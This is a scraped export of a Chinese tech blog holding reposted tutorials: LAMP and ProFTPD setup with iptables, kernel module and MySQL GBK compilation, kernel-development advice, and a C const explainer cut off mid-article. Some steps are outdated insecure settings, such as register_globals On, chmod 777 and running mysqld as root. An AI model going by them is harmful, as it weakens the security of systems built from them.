http://www.easysea.com/diannao/download/prog/sql/glys.zip 94.《掌握ACCESS开发》 http://www.easysea.com/diannao/download/prog/sql/glys.zip 95.《Oracle Performance Tuning and Optimization》 http://www.oradb.net/book/oracle_pt.zip 96.《Oracle ProC 程序设计》 http://www.oradb.net/book/oracleproc.zip 97.《Oracle8初学者指南》 http://www.easysea.com/diannao/download/prog/oracle/cxzz.zip 98.《RED HAT LINUX 6大全》 http://www.dingbing.com/book/redhatall.zip 99.《RED HAT LINUX 6管理工具》 http://www.dingbing.com/book/redhatman.zip 100.《VC++高级编程》 http://www.easysea.com/diannao/download/prog/c/vcgj.zip\nQQ群:12418867\n","permalink":"https://hessian.cn/p/640.html","summary":"1.vc++技术内幕第四版 (潘爱民) ftp://210.32.157.56/课件/c++primer/vc++技术内幕IV(潘爱民).rar 2.C++经典对话系列 中文：http://www.jka77.com/book/cvst_cn.chm ","title":"优秀IT书籍100本"},{"content":"http://www.chinaunix.net 作者:llzqq 发表于：2004-03-02 07:58:04\nAPACHE+MYSQL+PHP+PROFTPD+MOD_LIMITIP+MOD_BANDWIDTH\n一、前言\n本人结合网上资料和个人的实践，利用一个下午的时间写出了这个适用于资源下载型网站的典型配置。这种配置的WEB网站初步实现了IP线程和线程流量的管理，同时proftpd用于上传资源，ssh用于主机管理。无疑这样可以自己支配宝贵的网络带宽，文章后面有个简单的防火墙配置仅供参考，我用的linux版本是redhat as 3.0。希望大家在看了这篇文章后多多和我交流， MAIL:LLZQQ@163.COM\n二、软件版本\napache-1.3.29\nmysql-4.0.16\nphp-4.3.4\nproftpd-1.2.9\nmod_limitipconn-0.04\nmod_bandwidth-2.0.4\n三、安装配置Mysql\n# cd mysql-4.0.16 # ./configure \u0026#8211;prefix=/usr/local/mysql \u0026#8211;localstatedir=/usr/local/mysql/data \u0026#8211;disable-maintainer-mode ?with-mysqld-user=mysql \u0026#8211;enable-large-files-without-debug # make # make install 添加mysql用户 # /usr/sbin/groupadd mysql Then we create a user called mysql which belongs to the mysql group; # /usr/sbin/useradd -g mysql mysql 安装数据库文件：\n#./scripts/mysql_install_db\n设置文件权限： # chown -R root:mysql /usr/local/mysql # chown -R mysql:mysql /usr/local/mysql/data 配置ld.so.conf\n# vi /etc/ld.so.conf 增加下面一句：\n/usr/local/mysql/lib/mysql 建立mysql的启动文件：\n# cp support-files/mysql.server /etc/init.d/mysql\n# cp support-files/my-medium.cnf /etc/my.cnf\n以安全模式启动mysql： # /usr/local/mysql/bin/mysqld_safe ?user=mysql \u0026amp; 设置mysql的root密码： # /usr/local/mysql/bin/mysqladmin -u root password new_password 把mysql服务设置为开机启动：\n# chmod 755 /etc/init.d/mysql # chkconfig ?-add mysql\n# chkconfig mysql on\n四、安装配置PHP\n#cd php-4.3.4 #./configure \u0026#8211;prefix=/usr/local/php \u0026#8211;with-apxs=/usr/local/apache/bin/apxs \u0026#8211;with-mysql=/usr/local/mysql #make #make install 建立php的配置文件：\n# cp php.ini-dist /usr/local/php/lib/php.ini 修改php的配置文件：\n#vi /usr/local/php/lib/php.ini doc_root= \u0026ldquo;/home/www/\u0026rdquo; file_uploads=Off\nregister-golbals = On 建立测试php页面\n# vi /home/www/test.php # chomd 755 /home/www/test.php\n五、安装apache-1.3.29\n# tar zvxf apache_1.3.29.tar.gz # cd apache_1.3.29 # cp ../mod_bandwidth.c mod_bandwidth.c\n修改src/include/httpd.h 增大最大线程数 # vi src/include/httpd.h\n修改其中的\n#define HARD_SERVER_LIMIT 256 为\n#define HARD_SERVER_LIMIT 2560 # ./configure \u0026#8211;prefix=/usr/local/apache \u0026#8211;enable-module=so \u0026#8211;enable-module=rewrite \u0026#8211;enable-shared=max \u0026#8211;htdocsdir=/home/www \u0026#8211;add-module=mod_bandwidth.c \u0026#8211;permute-module=BEGIN:bandwidth\n# make\n# make install\n建立启动文件：\n#cp apachectl /etc/init.d/httpd\n修改apache的配置文件：\n#vi /usr/local/apache/conf/httpd.conf 修改、添加和确认存在下列配置项：\naddDefaultCharset GB2312 注释掉\u0026ldquo;addDefaultCharset ISO8859*\u0026rdquo;\nExtendedStatus On\nLoadModule php4_module modules/libphp4.so\nDirectoryIndex index.html index.html.var index.php AddType application/x-httpd-php .php\nAddType application/x-httpd-php-source .phps\nLoadModule limitipconn_module libexec/mod_limitipconn.so\nAddModule mod_limitipconn.c\n安装mod_limitipconn-0.04\n# tar xzf mod_limitipconn-0.04.tar.gz\n# cd mod_limitipconn-0.04\n# vi Makefile\nAPXS = /usr/local/apache/bin/apxs\n# make\n# make install\n使用mod_limitip模块需要在httpd.conf中增加这个设置\n设置要控制的目录\nMaxConnPerIP 2 限制每个IP的最大线程数\n完成mod_bandwidth模块的安装\n创建 mod_bandwidth 运行需要的目录 mkdir /var/apachebw mkdir /var/apachebw/link mkdir /var/apachebw/master chmod -R 777 /var/apachebw 修改httpd.conf增加下列内容 BandWidthDataDir \u0026quot;/var/apachebw/\u0026quot; BandWidthModule on BandWidth 192.168.0 0 200000 制局域网内用户的下载速度为200k\nBandWidth all 51200 限制其他用户的下载速度为每秒 51200 字节\n修改/etc/init.d/httpd # vi /etc/init.d/httpd\n在三行之后添加如下内容：\n#!/bin/sh\n#\n# Startup script for the Apache Web Server\n# chkconfig: \u0026#8211; 85 15\n# description: Apache is a World Wide Web server. It is used to serve # HTML files and CGI.\n# processname: httpd\n# pidfile \u0026amp;: /usr/local/apache/log/httpd.pid\n# config: /usr/local/apache/conf/httpd.conf\n把apache服务设置为开机启动：\n# chkconfig ?-add httpd\n# chmod 755 /etc/init.d/httpd\n# chkconfig httpd on\n六、安装porftpd-1.2.9\n# tar ?zxvf proftpd-1.2.9.tar.gz # cd proftpd-1.2.9 # ./configure \u0026#8211;prefix=/usr/local/proftpd # make # make　install　建立启动文件、把proftpd设置为开机启动\n# cp ./contrib/dist/rpm/proftpd.init.d /etc/rc.d/init.d/proftpd # chkconfig \u0026#8211;add proftpd\n# chmod 755 /etc/rc.d/init.d/proftpd # vi /etc/rc.d/init.d/functions export PATH=\u0026quot;/sbin:/usr/sbin:/bin:/usr/bin:/usr/X11R6/bin:/usr/local/proftpd/ sbin\u0026quot;\n# vi /etc/rc.d/init.d/proftpd\nconfig: /usr/local/proftpd/etc/proftpd.conf\nPATH=\u0026quot;$PATH:/usr/local/proftpd/sbin\u0026quot;\n# chkconfig proftpd on\n建立帐号和目录：\n# mkdir /home/test\n# chmod 755 /home/test\n# adduser -d /home/test -g ftp -s /sbin/nologin test\n# passwd test\n# adduser -d /home/upload -g ftp -s /sbin/nologin upload\n# passwd upload\n配置/usr/local/proftpd/etc/proftpd.conf，禁用匿名登陆\nServerName \u0026quot;llzqq\u0026#8217;s ftp service\u0026quot;\nServerType standalone\nDefaultServer on\n# Port 21 is the standard FTP port.\nPort 21\n# Umask 022 is a good standard umask to prevent new dirs and files\n# from being group and world writable.\nUmask 022\nMaxInstances 10\n# Set the user and group under which the server will run.\nUser nobody\nGroup ftp\n# To cause every FTP user to be \u0026quot;jailed\u0026quot; (chrooted) into their home\n# directory, uncomment this line.\nDefaultRoot ~\n# Normally, we want files to be overwriteable.\nAllowOverwrite on\n# We want \u0026#8216;welcome.msg\u0026#8217; displayed at login, and \u0026#8216;.message\u0026#8217; displayed\n# in each newly chdired directory.\nDisplayLogin welcome.msg\nDisplayFirstChdir .message\nRequireValidShell no\n#Limit User of being enbled login ftp server\nAllowGroup ftp\nDenyAll\n#\nDenyGroup ftp\nTransferRate RETR 51200 group ftp\nDenyGroup ftp\nTransferRate STOR 256000 group ftp\nServerIdent off\nMaxClientsPerHost 2\nTimeoutIdle 600\nTimeoutLogin 300\nTimeoutNoTransfer 300\nTimeoutStalled 300\n七、reboot计算机\n# shutdown ?r now\n打开浏览器输入：http://loaclhost/test.php\n如果你看到了关于：mysql;apache;php的一大堆信息，恭喜，你的安装基本上成功了，下一步可以测试一下proftp和带宽的设置了。\n八、建立一个简单有效的防火墙\nexport PATH=/sbin:/usr/sbin:/bin:/usr/bin\nmodprobe iptable_nat modprobe ip_nat_ftp modprobe ip_nat_irc modprobe ip_conntrack modprobe ip_conntrack_ftp modprobe ip_conntrack_irc\necho 1 \u0026gt;/proc/sys/net/ipv4/icmp_echo_ignore_broadcasts echo 0 \u0026gt;/proc/sys/net/ipv4/conf/all/accept_source_route echo 0 \u0026gt;/proc/sys/net/ipv4/conf/all/accept_redirects echo 1 \u0026gt;/proc/sys/net/ipv4/icmp_ignore_bogus_error_responses echo 1 \u0026gt;/proc/sys/net/ipv4/conf/all/log_martians\niptables -F\niptables -X\niptables -Z\niptables -A INPUT -i eth0 -s 10.0.0.0/8 -j DROP iptables -A INPUT -i eth0 -s 192.168.0.0/16 -j DROP\n## iptables -A INPUT -m state \u0026#8211;state ESTABLISHED,RELATED -j ACCEPT\n## Loopback iptables -A INPUT -i lo -j ACCEPT iptables -A OUTPUT -o lo -j ACCEPT ## SYN-Flooding iptables -N syn-flood iptables -A INPUT -i eth0 -p tcp \u0026#8211;syn -j syn-flood iptables -A syn-flood -m limit \u0026#8211;limit 1/s \u0026#8211;limit-burst 4 -j RETURN iptables -A syn-flood -j DROP\n## Make sure that new TCP connections are SYN packets iptables -A INPUT -i eth0 -p tcp ! \u0026#8211;syn -m state \u0026#8211;state NEW -j DROP\n## HTTP\niptables -A INPUT -i eth0 -p tcp -d 0/0 \u0026#8211;dport 80 -j ACCEPT ## IP packets limit\niptables -A INPUT -f -m limit \u0026#8211;limit 100/s \u0026#8211;limit-burst 100 -j ACCEPT\niptables -A INPUT -p icmp -m limit \u0026#8211;limit 1/s \u0026#8211;limit-burst 3 -j ACCEPT\n## FTP service\niptables -A INPUT -i eth0 -p tcp \u0026#8211;dport 21 -j ACCEPT\niptables -A INPUT -i eth0 -p tcp \u0026#8211;dport 20 -j ACCEPT\n## SSH login\niptables -A INPUT -i eth0 -m mac \u0026#8211;mac-source 00:00:00:00:00:00 -p tcp \u0026#8211;dport 22 -j ACCEPT\niptables -A INPUT -i eth0 -p tcp \u0026#8211;dport 22 -j DROP\n## Anything else not allowed\niptables -A INPUT -i eth0 -j DROP\n九、附录：\nmod_bandwidth选项简单说明： BandWidthPulse 格式： BandWidthPulse \u0026lt;毫秒（千分之一秒\u0026gt; 默认： 1000 上下文： per server config 改变计算带宽的时间间隔，默认为1000毫秒（1秒）。使用更低的间隔可以获得 更精确的带宽控制，但消耗更多的CPU时间，反之亦然。 BandWidth 格式： BandWidth \u0026lt;速率\u0026gt; 默认： 无 上下文： per directory, .htaccess 限制这个目录下文件下载的速率。 domain 指定来自哪个域的连接受到这个设置的影响。 ip 指定来自哪个ip地址（或者ip段）的连接受到影响。 all 所有连接都受到影响。 示例： # 来自 dualface.com 的连接不限制下载速度 BandWidth dualface.com 0 # 来自 192.168.0.0/16（或者192.168.0） 网段的连接不限制下载速度 BandWidth 192.168.0.0/16 0 # 其他连接限制下载速度为每秒1024字节 BandWidth all 1024 # 越前面的设置优先权越高 LargeFileLimit 格式： LargeFileLimit \u0026lt;文件大小\u0026gt; \u0026lt;速率\u0026gt; 默认： 无 上下文： per directory, .htaccess 对于超过指定大小的文件，下载时使用的速率。如果速率设置0即不限制速度， 但下载速度仍然要受到BandWidth设置的影响。如果设置成-1，则完全不受影响。 通过设置不同的文件大小和速率，可以设置不同大小范围内文件的下载速度。 示例： 文件尺寸大于等于200千字节的文件，下载速率为每秒3072字节 LargeFileLimit 200 3072 LargeFileLimit 1024 2048 MaxConnection 格式： MaxConnection \u0026lt;连接数\u0026gt; 默认： 0 （不限制） 上下文： per directory, .htaccess 当超过指定连接数时，拒绝新的连接。 MinBandWidth 格式： MinBandWidth \u0026lt;速率\u0026gt; 默认： all 256 上下文： per directory, .htaccess 设置最小带宽，默认为每秒256字节。根据BandWidth和LargeFileLimit设置的速 率。mod_bandwidth会计算允许的连接数。例如BandWidth为4096字节，而 MinBandWidth为1024字节，则最大并发连接数为4。\nMod_limitipconn选项简单说明：\n设置要控制的目录\nMaxConnPerIP 2 限制单IP并发连接数\nNoIPLimit image/* 不受限制的文件类型\nMaxConnPerIP 1 OnlyIPLimit audio/mpeg video 仅用于限制的文件类型\n","permalink":"https://hessian.cn/p/586.html","summary":"http://www.chinaunix.net 作者:llzqq 发表于：2004-03-02 07:58:04\nAPACHE+MYSQL+PHP+PROFTPD+MOD_LIMITIP+MOD_BANDWIDTH\n一、前言\n本人结合网上资料和个人的实践，利用一个下午的时间写出了这个适用于资源下载型网站的典型配置。这种配置的WEB网站初步实现了IP线程和线程流量的管理，同时proftpd用于上传资源，ssh用于主机管理。无疑这样可以自己支配宝贵的网络带宽，文章后面有个简单的防火墙配置仅供参考，我用的linux版本是redhat as 3.0。希望大家在看了这篇文章后多多和我交流， MAIL:LLZQQ@163.COM\n","title":"建立一个带宽、线程可控的下载型WEB网站"},{"content":"来自：linux.ccidnet.com 传统编译内核模块的方法繁琐而费时，本文将告诉我们一种快速编译所需要内核模块的新方法。当你安装完Linux系统，并且已经启动，恭喜你!如果你的硬盘上还安装了WinNT/2000系统，你试图去访问另一个NTFS分区时却遇到了麻烦。因为你所用的Linux系统没有已编译的支持NTFS文件系统的模块。怎么办?也许你会运行make menuconfig，重新定制你需要的所有模块，接着运行make modeules;make modeules_install来安装。这样不仅繁琐、费时，还可能会出现问题。或者因为编译内核对你有些棘手，太多的选择让你手足无措，你根本没有太好的方法。本文给你提供一个简单的方法，你可以轻松地去编译你所需要的支持NTFS系统的模块(ntfs.o)。以此为例，但愿对你编译其他模块有所帮助。 写此文时我用的系统是Red Hat Linux Release 7.0 (Guinness) Kernel 2.2.16-22 on an i686。从一个新安装的系统开始，我们一起去编译一个自己想要的支持NTFS文件系统模块。 一、找到编译内核所需要的.config文件 在/usr/src/linux/configs目录下有若干编译内核所用的配置。选择我们想要的配置，将它复制到/usr/src/linux目录下，改名为.config。 cp /usr/src/linux/configs/kernel-2.2.16-i686.config /usr/src/linux/.config 二、修改.config文件，去掉不用的模块，加上自己想要的模块 打开.config，有许多XXXX=m的项，这些都是要被编译为模块的项，因为我们不希望编译这些模块，所以要把XXXX=m的项统统去掉。然后再加上我们想要的模块，将# CONFIG_NTFS_FS is not set 改为CONFIG_NTFS_FS=m 当然，可以用你熟悉各种工具来做这件事。 三、编译NTFS模块 在/usr/src/linux目录下运行命令make modules来编译我们想要的NTFS模块。 四、安装NTFS模块 编译后得到的ntfs.o在/usr/src/linux/fs/ntfs目录下，手动将它复制到正确的目录下。 cp /usr/src/linux/fs/ntfs/ntfs.o /lib/modules/2.2.16-22/fs/ 注意：千万不能运行命令make modules_install，否则将带来严重的后果，它会删除你系统中的所有模块，只安装刚刚编译的模块(ntfs.o)。 五、载入NTFS模块 运行命令depmod;modprobe ntfs 试着访问你的NTFS文件系统吧，祝你成功! 有些模块依赖于你的系统内核，所以不适用本文所提供的方法。还有些模块和其他模块有依赖关系。如果你不熟悉这些依赖关系的话，建议你在第二步去掉不用的模块选项后，通过make menuconfig来加上自己想要的模块。我用此方法用了三分钟编译了支持NTFS文件系统的模块，你呢?\n","permalink":"https://hessian.cn/p/588.html","summary":"来自：linux.ccidnet.com 传统编译内核模块的方法繁琐而费时，本文将告诉我们一种快速编译所需要内核模块的新方法。当你安装完Linux系统，并且已经启动，恭喜你!如果你的硬盘上还安装了WinNT/2000系统，你试图去访问另一个NTFS分区时却遇到了麻烦。因为你所用的Linux系统没有已编译的支持NTFS文件系统的模块。怎么办?也许你会运行make menuconfig，重新定制你需要的所有模块，接着运行make modeules;make modeules_install来安装。这样不仅繁琐、费时，还可能会出现问题。或者因为编译内核对你有些棘手，太多的选择让你手足无措，你根本没有太好的方法。本文给你提供一个简单的方法，你可以轻松地去编译你所需要的支持NTFS系统的模块(ntfs.o)。以此为例，但愿对你编译其他模块有所帮助。 ","title":"快速编译Linux内核所需模块新方法"},{"content":"提要：系统自带的mysql默认字符集不是gbk,因此给数据库的推广应用以及中文程序的开发带来极大的不便,在没完没了的GBK和UTF8的转换过程中消耗了我们无数的精力以及系统的资源.经过摸索尝试解决了中文支持问题,经验与大家分享一下.\n先将让slack支持中文,方法可以看\u0026quot;linuxsir.org 之Slackware讨论区\u0026quot;,然后重新编译mysql,原来系统mysql的要先用卸载.\nlogin:root shell\u0026gt; removepkg mysql\nshell\u0026gt; groupadd mysql\nshell\u0026gt; cd /app\nshell\u0026gt; mkdir mysql\nshell\u0026gt; chmod 744 mysql\nshell\u0026gt; useradd -G mysql -s /bin/bash \u0026ndash;p /app/mysql mysql\nshell\u0026gt; chown -R mysql.mysql mysql 下载mysql4.x.x shell\u0026gt; gunzip \u0026lt; mysql-VERSION.tar.gz | tar -xvf -\nshell\u0026gt; cd mysql-VERSION\nshell\u0026gt; CFLAGS=\u0026quot;-O3 -mcpu=pentium3\u0026quot; CXX=gcc XXFLAGS=\u0026quot;-O3 -mcpu=pentium3 -felide-constructors\u0026quot; ./configure --prefix=/app/mysql --with--charset=gbk --with-extra-charsets=\u0026quot;gbk gb2312 big5 utf8\u0026quot;\n--with-unix-socket-path=/etc/mysql.sock --enable-local-infile --enable-thread-safe-client --enable-assembler --with-client-ldflags=-all-static --with-mysqld-ldflags=-all-static //-mcpu 根据CPU类型优化编译，可以让你的mysq表现更好！可选项目很多：i386, i486, i586, i686, pentium, pentium-mmx, pentiumpro, pentium2, pentium3, pentium4, k6, k6-2, k6-3, athlon, athlon-tbird, athlon-4, athlon-xp,athlon-mp,winchip-c6, winchip2 , c3.\nshell\u0026gt; make\n\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\n错误时候\nshell\u0026gt; make clean\n再回上一步\n\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212; shell\u0026gt; make install\nshell\u0026gt; cp support-files/my-medium.cnf /etc/my.cnf\nshell\u0026gt; cd /app/mysql\nshell\u0026gt; bin/mysql_install_db --user=root\nshell\u0026gt; chown -R root .\nshell\u0026gt; chown -R mysql var\nshell\u0026gt; chgrp -R mysql .\nshell\u0026gt; ./bin/mysqld_safe --user=root --default-character-set=gbk \u0026amp;\nshell\u0026gt; ./bin/mysqladmin -u root password 'new-password'\nshell\u0026gt; ./bin/mysql -u root --default-character-set=gbk -p\nmysql\u0026gt; status\n...\nServer characterset: gbk\nDb characterset: gbk\nClient characterset: gbk\nConn. characterset: gbk\n.... 看见characterset全是gbk就算成功了.\n\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;-\n在UTF8字符集的老数据库中,创建中文支持表脚本如下,对字段加上字符集说明\nCREATE TABLE `test`.`cn` (\n`zh` CHAR(10) CHARACTER SET gb2312 COLLATE gb2312_chinese_ci NOT NULL,\n`中文` INT(11) NOT NULL\n)\nENGINE = MYISAM; 注:CHARACTER SET 写GB2312 和gbk都可以,gbk优于gb2312.\n对于新创建的数据库加个默认字符集声明GBK,就不用建表时候每个字段声明了,这样看起来简单流畅,没有特殊的痕迹,建议多采用这种方法. mysql\u0026gt; CREATE DATABASE dbCN DEFAULT CHARACTER SET gbk COLLATE gbk_chinese_ci;\nCREATE TABLE `dbCN`.`cn` (\n`zh` CHAR(10) NOT NULL,\n`中文` INT(11) NOT NULL\n)\nENGINE = MYISAM;\nmysql\u0026gt; insert into cn values(\u0026quot;真的？\u0026quot;,1); 注:如果这些脚本用bin/mysql命令行是输入不了,可以 用mysql query Browser,或者编程执行.\n\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8211; shell\u0026gt; bin/mysql -u root --default-character-set=gbk -p\nmysql\u0026gt;use test\nmysql\u0026gt; select * from cn;\n+--------+------+\n| zh | 中文 |\n+--------+------+\n| 真的？| 1 |\n+--------+------+\n1 row in set (0.00 sec)\n--------------------------------------------- 最后修改启动文件/etc/rc.d/rc.mysqld\n改路径/app/mysql/bin/mysqld_safe\n改路径/app/mysql/var/web.pid\n/app/mysql/bin/mysqld_safe 后面加入 \u0026#8211;user=root \u0026#8211;default-character-set=gbk\n原文链接：http://slack.linuxsir.org/main/?q=node/165\n","permalink":"https://hessian.cn/p/380.html","summary":"提要：系统自带的mysql默认字符集不是gbk,因此给数据库的推广应用以及中文程序的开发带来极大的不便,在没完没了的GBK和UTF8的转换过程中消耗了我们无数的精力以及系统的资源.经过摸索尝试解决了中文支持问题,经验与大家分享一下.\n","title":"让MYSQL彻底支持中文"},{"content":"你想成知道如何成为一个Linux内核开发者么？或者你的老板告诉你，\u0026ldquo;去为这个设备写一个Linux驱动。\u0026ldquo;这篇文档的目的，就是通过描述你需要经历的过程和提示你如何和社区一起工作，来教给你为达到这些目的所需要知道的所有知识。本文也尝试解释社区为什么这样工作的一些原因。\n内核几乎全是用C写成的，有一些架构相关的部分是用汇编语言写成的。熟练掌握C语言是内核开发的必备条件。汇编语言(任何架构)的了解不是必须的，除非你准备做某个架构的底层开发。虽然下面这些书不能完全代替扎实的C语言教学和/或者成年累月的经验，他们还是不错的参考，如果用得着的话： \u0026#8211; \u0026quot;The C Programming Language\u0026quot; 作者: Kernighan and Ritchie [Prentice Hall]- \u0026quot;Practical C Programming\u0026quot; 作者: Steve Oualline [O\u0026#8217;Reilly] 内核是用 GNU C 和 GNU 工具链写成的。虽然它符合 ISO C89 标准，它还是使用了一些标准中没有的扩展。内核是自成体系的 C 环境，它并不依赖标准C库，所以某些C语言标准是不支持的。任意长度long long类型除法和浮点数是不被允许的。有时候会很难理解内核对于它所使用的工具链和扩展的假定，而且不幸的是也没有关于它们的绝对的参考。请查阅gcc 的info页(`info gcc`)以获取有关信息。 请记住你是在尝试学习如何与已经存在的开发社区一起工作。这是一群成分复杂的人们，他们对于代码，风格和步骤有高的标准。这些标准是经过时间检验的。 他们发现遵循这些标准对于这样一个大规模的且地理上分散的团队是最佳的选择。尝试提前学习尽可能多的有关这些标准的知识，因为它们都有很好的文档；不要期望别人会遵照你或者你公司的行事方式。 法律问题 Linux内核源代码依照GPL发布。请参考源代码树下的COPYING文件，以获取有关这个许可证的详细信息。如果你对这个许可证有疑问，请联系你的律师，不要在Linux内核邮件列表里询问。邮件列表里的人们不是律师，你不应该依赖于他们对于法律问题的解释。 文档 Linux内核源代码树有很多文档，它们对于学习如何与内核社区交流来说有不可估量的价值。当新的功能加进内核的时候，通常建议作者把解释这个新功能的文档也加进内核。如果一个内核变动导致了内核对用户空间界面的改变，建议你把这个信息或者一个解释了这个变动的manpage的补丁发送给手册页的维护者 mtk-manpages@gmx.net。 这里有一个内核源代码树里需要阅读的文件列表： README 这个文件简单介绍了Linux内核的背景，并描述了配置和编译内核需要做哪些事情。内核新手应该从这里开始。 Do*****entation/Changes 这个文件介绍了成功编译和运行内核所需要各种不同软件的列表。 Do*****entation/CodingStyle 这个文件描述了Linux内核代码风格，还有背后的一些原因。所有的新代码的要符合这个文档里的准则。大多数维护者只会接受符合这些规则的补丁，很多人只看符合正确风格的代码。 Do*****entation/SubmittingPatches Do*****entation/SubmittingDrivers 这些文件非常详细的介绍了如何成功的创建和发送一个补丁，包括(但不限于)： -Email内容 -Email格式 -发送给谁 遵守所有这些规则并不能保证成功(对所有的补丁都需要进行内容和风格的详细检查)，但是不遵守这些规则就一定不会成功。 其他关于如何创建补丁的很好的文章有： \u0026ldquo;The Perfect Patch\u0026quot;\nwww.zip.com.au/~akpm/linux/patches/stuff/tpp.txt\n\u0026quot;Linux kernle patch submission format\u0026quot;\nlinux.yyz.us/patch-format.html\nDo*****entation/stable_api_nonsense.txt\n这个文件解释了有意识的决定-不在内核里使用稳定的API-的原因，包括： -子系统分隔层(为了兼容？) -操作系统之间的驱动可移植性 -缓和(或者阻止)内核源代码树的急速变动 这个文档对于了解Linux的开发哲学是非常关键的，对于由开发其他操作系统转而开发Linux人也是很重要的。 Do*****entation/SecurityBugs 如果你感觉到你发现了Linux内核里的一个安全问题，请遵照这个文档里所描述的步骤来提醒内核开发者，并帮助解决问题。 Do*****entation/ManagementStyle 这个文档描述了Linux内核维护者如何运作，以及他们为什么这样做。它对于任何内核开发新手(或者任何对本话题感兴趣的人)来说是非常重要的。 因为它解释了一些惯有的错误概念，可解决有关内核维护者独特行为的疑惑。 Do*****entation/stable_kernel_rules.txt 本文件描述了稳定版本内核释出的规则，还有如果你想对其中的一个版本做一些改动应该做些什么。 Do*****entation/kernel-docs.txt 一个有关内核开发的外部文档的列表。如果你在内核内部文档里没有找到? 要找的东西，你可以参考这个列表。 Do*****entation/applying-patches.txt 介绍了对于什么是补丁，以及如何应用补丁于不同的内核开发分支。 内核也有很多可以从源代码自动产生的文档。这包括内核内部API的全面描述，有关如何处理好锁定的规则。这些文档会被创建于 Do*****entation/DocBook/文件夹中。在内核主源码树中通过运行下面的命令可以创建出PDF，Postscript， HTML 和manpage等不同格式的文档： make pdfdocsmake psdocsmake htmldocsmake mandocs 成为一个内核开发者 如果你对Linux内核开发一无所知，你可以看看Linux KernelNewbies项目： kernelnewbies.org 它包含一个邮件列表，在那里你可以问任何有关内核开发的基础问题(在问问题之前先搜索一下存档，很可能这个问题已经被解答过了。)它还有一个IRC频道，你可以在里面实时的提问。它还有很多有用的文档，对于学习Linux内核开发很有用。 这个网站有有关代码组织，子系统，当前项目(代码树之内的和之外的)的基本信息。它也描述了一些基本的\u0026ldquo;物流\u0026rdquo;信息，比如怎么样编译内核和怎么样打补丁。 如果你不知道从何处起步，但是你想找一些任务来做以加入内核开发社区，请看一下Linux Kernel Janitor项目： janitor.kernelnewbies.org/ 这是一个很好的起步的地方。它描述了一些相对来说简单的内核中需要清理的和解决的问题。和负责这个项目的开发者一起工作，你会学到如何令你的补丁进入Linux内核树的基本知识，而且可能会为你指明下一步的发展方向，如果你自己尚不明确的话。 如果你已经有了一段代码想要放到内核树里，但是需要某种形式的帮助，那么kernel-mentors项目就可以帮你的忙了。这是一个邮件列表，可以在下面找到： selenic.com/mailman/listinfo/kernel-mentors 在你对Linux内核代码作任何实际的改动之前，必须要了解相关的代码是如何工作的。为了达到这个目的，没有比直接读它(很多困难的地方都有很好的注释)更好的方法了，甚至可能是在某个特殊工具的帮助下来阅读。很值得推荐的这样一种工具是Linux Cross-Reference项目，它可以把源代码以一种自我引用的、索引的网页形式显示出来。一个非常好的最新的内核代码仓库可以在这里找到： //sosdg.org/~coywolf/lxr 所有这些事情有时候很难做到。要想完美做到这些要求可能需要几年的时间。这是一个持续的发展过程，需要很多耐心和决心。但是不要放弃，这是可以实现的。很多人已经做到了这一点，每个人都经历过你现在这个阶段。\n","permalink":"https://hessian.cn/p/612.html","summary":"你想成知道如何成为一个Linux内核开发者么？或者你的老板告诉你，\u0026ldquo;去为这个设备写一个Linux驱动。\u0026ldquo;这篇文档的目的，就是通过描述你需要经历的过程和提示你如何和社区一起工作，来教给你为达到这些目的所需要知道的所有知识。本文也尝试解释社区为什么这样工作的一些原因。\n","title":"如何成为一个Linux系统内核开发者"},{"content":" 基本解释\nconst是一个C语言的关键字，它限定一个变量不允许被改变。使用const在一定程度上可以提高程序的健壮性，另外，在观看别人代码的时候，清晰理解const所起的作用，对理解对方的程序也有一些帮助。\n虽然这听起来很简单，但实际上，const的使用也是c语言中一个比较微妙的地方，微妙在何处呢？请看下面几个问题。\n问题：const变量 \u0026amp; 常量\n为什么我象下面的例子一样用一个const变量来初始化数组，ANSI C的编译器会报告一个错误呢？\nconst int n = 5;\nint a[n]; 答案与分析:\n1）、这个问题讨论的是\u0026ldquo;常量\u0026rdquo;与\u0026ldquo;只读变量\u0026rdquo;的区别。常量肯定是只读的，例如5， \u0026ldquo;abc\u0026rdquo;，等，肯定是只读的，因为程序中根本没有地方存放它的值，当然也就不能够去修改它。而\u0026ldquo;只读变量\u0026rdquo;则是在内存中开辟一个地方来存放它的值，只不过这个值由编译器限定不允许被修改。C语言关键字const就是用来限定一个变量不允许被改变的修饰符（Qualifier）。上述代码中变量n被修饰为只读变量，可惜再怎么修饰也不是常量。而ANSI C规定数组定义时维度必须是\u0026ldquo;常量\u0026rdquo;，\u0026ldquo;只读变量\u0026rdquo;也是不可以的。\n2)、注意：在ANSI C中，这种写法是错误的，因为数组的大小应该是个常量，而const int n,n只是一个变量（常量 != 不可变的变量，但在标准C++中，这样定义的是一个常量，这种写法是对的），实际上，根据编译过程及内存分配来看，这种用法本来就应该是合理的，只是ANSI C对数组的规定限制了它。\n3)、那么，在ANSI C 语言中用什么来定义常量呢？答案是enum类型和#define宏，这两个都可以用来定义常量。 问题：const变量 \u0026amp; const 